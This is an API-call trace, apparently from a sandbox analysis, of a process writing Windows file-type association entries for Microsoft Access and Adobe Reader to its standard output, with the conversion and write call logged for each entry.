	[0056.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.BlankDatabaseTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.BlankDatabaseTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 120
	[0056.292] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x77, lpOverlapped=0x0) returned 1
	[0056.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.293] GetFileType (hFile=0x5c) returned 0x3
	[0056.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.BlankProjectTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.BlankProjectTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 119
	[0056.293] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x76, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x76, lpOverlapped=0x0) returned 1
	[0056.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.293] GetFileType (hFile=0x5c) returned 0x3
	[0056.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Extension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Extension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 99
	[0056.293] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x62, lpOverlapped=0x0) returned 1
	[0056.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.293] GetFileType (hFile=0x5c) returned 0x3
	[0056.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.MDBFile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.MDBFile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 120
	[0056.293] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x77, lpOverlapped=0x0) returned 1
	[0056.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.294] GetFileType (hFile=0x5c) returned 0x3
	[0056.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.MDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.MDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123
	[0056.294] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7a, lpOverlapped=0x0) returned 1
	[0056.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.294] GetFileType (hFile=0x5c) returned 0x3
	[0056.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Project.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Project.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123
	[0056.294] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7a, lpOverlapped=0x0) returned 1
	[0056.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.294] GetFileType (hFile=0x5c) returned 0x3
	[0056.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.DataAccessPage.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDataAccessPage \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.DataAccessPage.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDataAccessPage \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 148
	[0056.294] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x93, lpOverlapped=0x0) returned 1
	[0056.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.294] GetFileType (hFile=0x5c) returned 0x3
	[0056.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Diagram.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDiagram \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Diagram.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDiagram \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 134
	[0056.295] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x85, lpOverlapped=0x0) returned 1
	[0056.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.295] GetFileType (hFile=0x5c) returned 0x3
	[0056.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Form.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenForm \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Form.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenForm \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128
	[0056.295] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7f, lpOverlapped=0x0) returned 1
	[0056.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.295] GetFileType (hFile=0x5c) returned 0x3
	[0056.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Shortcut.Function.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /SHELLSYSTEM [OpenFunction \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Shortcut.Function.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /SHELLSYSTEM [OpenFunction \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 125
	[0056.295] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7c, lpOverlapped=0x0) returned 1
	[0056.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.295] GetFileType (hFile=0x5c) returned 0x3
	[0056.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Macro.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [ShellOpenMacro \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Macro.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [ShellOpenMacro \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 135
	[0056.295] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x86, lpOverlapped=0x0) returned 1
	[0056.296] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.296] GetFileType (hFile=0x5c) returned 0x3
	[0056.296] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Module.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenModule \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Module.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenModule \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 132
	[0056.296] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x83, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x83, lpOverlapped=0x0) returned 1
	[0056.296] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.296] GetFileType (hFile=0x5c) returned 0x3
	[0056.296] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Query.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenQuery \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Query.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenQuery \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128
	[0056.296] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7f, lpOverlapped=0x0) returned 1
	[0056.296] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.296] GetFileType (hFile=0x5c) returned 0x3
	[0056.296] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Report.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenReport \"%1\", 2]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Report.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenReport \"%1\", 2]\r\n", lpUsedDefaultChar=0x0) returned 135
	[0056.296] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x86, lpOverlapped=0x0) returned 1
	[0056.297] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.297] GetFileType (hFile=0x5c) returned 0x3
	[0056.297] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.StoredProcedure.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenStoredProcedure \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.StoredProcedure.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenStoredProcedure \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 150
	[0056.297] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x95, lpOverlapped=0x0) returned 1
	[0056.297] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.297] GetFileType (hFile=0x5c) returned 0x3
	[0056.297] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Table.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenTable \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Table.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenTable \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128
	[0056.297] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7f, lpOverlapped=0x0) returned 1
	[0056.297] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.297] GetFileType (hFile=0x5c) returned 0x3
	[0056.297] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.View.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenView \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.View.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenView \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128
	[0056.298] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7f, lpOverlapped=0x0) returned 1
	[0056.298] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.298] GetFileType (hFile=0x5c) returned 0x3
	[0056.298] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 93
	[0056.298] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5c, lpOverlapped=0x0) returned 1
	[0056.298] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.298] GetFileType (hFile=0x5c) returned 0x3
	[0056.298] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.WebApplicationReference.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.WebApplicationReference.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 139
	[0056.298] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x8a, lpOverlapped=0x0) returned 1
	[0056.298] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.298] GetFileType (hFile=0x5c) returned 0x3
	[0056.299] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.WizardDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.WizardDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 106
	[0056.299] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x69, lpOverlapped=0x0) returned 1
	[0056.299] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.299] GetFileType (hFile=0x5c) returned 0x3
	[0056.299] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.WizardUserDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.WizardUserDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 110
	[0056.299] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x6d, lpOverlapped=0x0) returned 1
	[0056.299] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.299] GetFileType (hFile=0x5c) returned 0x3
	[0056.299] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Workgroup.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Workgroup.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 101
	[0056.299] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x64, lpOverlapped=0x0) returned 1
	[0056.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.300] GetFileType (hFile=0x5c) returned 0x3
	[0056.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="accesshtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accesshtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 80
	[0056.300] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4f, lpOverlapped=0x0) returned 1
	[0056.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.300] GetFileType (hFile=0x5c) returned 0x3
	[0056.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="accessthmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessthmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0056.300] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x53, lpOverlapped=0x0) returned 1
	[0056.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.300] GetFileType (hFile=0x5c) returned 0x3
	[0056.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="acrobat=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" /u \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acrobat=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" /u \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81
	[0056.300] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x50, lpOverlapped=0x0) returned 1
	[0056.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.301] GetFileType (hFile=0x5c) returned 0x3
	[0056.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.acrobatsecuritysettings.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.acrobatsecuritysettings.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 105
	[0056.301] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x68, lpOverlapped=0x0) returned 1
	[0056.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.301] GetFileType (hFile=0x5c) returned 0x3
	[0056.301] _get_osfhandle (_FileHandle=1) returned 0x5c
